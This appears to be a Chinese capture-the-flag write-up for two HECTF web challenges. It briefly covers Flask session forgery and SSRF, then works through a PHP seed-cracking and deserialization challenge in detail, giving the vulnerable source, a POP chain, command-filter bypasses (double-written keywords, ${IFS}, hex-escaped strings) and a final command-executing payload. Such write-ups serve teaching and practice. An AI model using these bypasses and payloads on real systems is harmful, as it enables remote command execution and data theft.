伪装者
考点:http协议+flask的session伪造+ssrf读取文件
首先根据题目要求就行伪造HTTP
这里不多说,比较基础 然后下面得到是个登入 页面,我们输入zxk1ing
得到 说什么要白马王子 ,一眼session伪造
看到ey开头感觉是jwt 输入看看
得到key 那就直接flask session伪造就行
看到ey开头感觉是jwt 输入看看
得到key 那就直接flask session伪造就行
然后我们就得到 flag在这个路径下 试了下伪协议读取无果,发现有个url读取
测试一下ssrf读取 成功获得flag
EZphp
考点: 生成伪随机数 +PHP反序列化+命令执行的过滤绕过
首先进行抓包发现如下数据
根据 rand()? seed 看来就是根据seed这个种子来生成伪随机数来进行传参
我们写个脚本
<?php
mt_srand(1442660857);for($i=0;$i<1000;$i++){echo mt_rand()."\n";}
然后将生产的数 做成一个字典进行爆破
得到 Unablet0guess.php 访问得到PHP反序列化
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);class GGbond{public $candy;public function __call($func,$arg){$func($arg);}public function __toString(){return $this->candy->str;}
}class unser{public $obj;public $auth;public function __construct($obj,$name){$this->obj = $obj;$this->obj->auth = $name;}public function __destruct(){$this->obj->Welcome();}
}class HECTF{public $cmd;public function __invoke(){if($this->cmd){$this->cmd = preg_replace("/ls|cat|tac|more|sort|head|tail|nl|less|flag|cd|tee|bash|sh|&|^|>|<|\.| |'|`|\(|\"/i","",$this->cmd);}exec($this->cmd);}
}class heeectf{public $obj;public $flag = "Welcome";public $auth = "who are you?";public function Welcome(){if(unserialize($this->auth)=="zxk1ing"){$star = implode(array($this->obj,"⭐","⭐","⭐","⭐","⭐"));echo $star;}elseecho 'Welcome HECTF! Have fun!';}public function __get($get){$func = $this->flag;return $func();}
}new unser(new heeectf(),"user");$data = $_POST['data'];
if(!preg_match('/flag/i',$data))unserialize($data);
elseecho "想干嘛???"; Welcome HECTF! Have fun!
这里的触发过程不难 ,难的是heeectf里面的一些考点,先找出口函数在HECTF里面的exec(),然后 就通过反推形成一条POP链:
unser.__destruct()->heeectf.welcome().->GGbond.__toString>heeectf.__get($get)>HECTF.__invoke()
这里注意的welcome()函数里面
这个条件为真,那么 auth就要被赋值为序列化后的zxk1ing
所以为:
"s:7:\"zxk1ing\";"
然后,第二点,在传参当中,存在一个if(!preg_match('/flag/i',$data)),因此,这里需要16进制绕过即可,具体方法就是前面的s大写,之后将f变为\66即可,这样就可以识别16进制编码了
最后
这里的绕过就采用双写绕过 空格使用${IFS} ,因为exec输出无回显 所以我们使用tee命令进行传输flag进行解题
咱们可以通过如下来验证代码是否正确
输入进去进行,如果左上角转了3s则成功
所以最终的代码:
<?phpclass GGbond{public $candy;}class unser{public $obj;public $auth="s:7:\"zxk1ing\";";}class HECTF{public $cmd = "cat /f* | tee a";
}class heeectf{public $obj;public $flag = "Welcome";public $auth = "s:7:\"zxk1ing\";";}
echo "<br/>";
$a = new unser(new HECTF(),"s:7:\"zxk1ing\";");
$a -> obj = new heeectf();
$a -> obj -> obj = new GGbond();
$a -> obj -> obj -> candy = new heeectf();
$a -> obj -> obj -> candy -> flag = new HECTF();
echo serialize($a);
得到
O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;s:4:"flag";O:5:"HECTF":1:{s:3:"cmd";s:21:"ccatat /f* | tteeee B";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}s:4:"flag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}
产生的payload经过 16进制绕过 ,双写绕过 空格绕过 得到下面最终payload
data=O:5:"unser":2:{s:3:"obj";O:7:"heeectf":3:{s:3:"obj";O:6:"GGbond":1:{s:5:"candy";O:7:"heeectf":3:{s:3:"obj";N;S:4:"\66lag";O:5:"HECTF":1:{s:3:"cmd";s:41:"ccatat${IFS}/f*${IFS}|${IFS}tteeee${IFS}a";}s:4:"auth";s:14:"s:7:"zxk1ing";";}}S:4:"\66lag";s:7:"Welcome";s:4:"auth";s:14:"s:7:"zxk1ing";";}s:4:"auth";s:14:"s:7:"zxk1ing";";}
然后传入访问a路径得到a文件 下载打开就为flag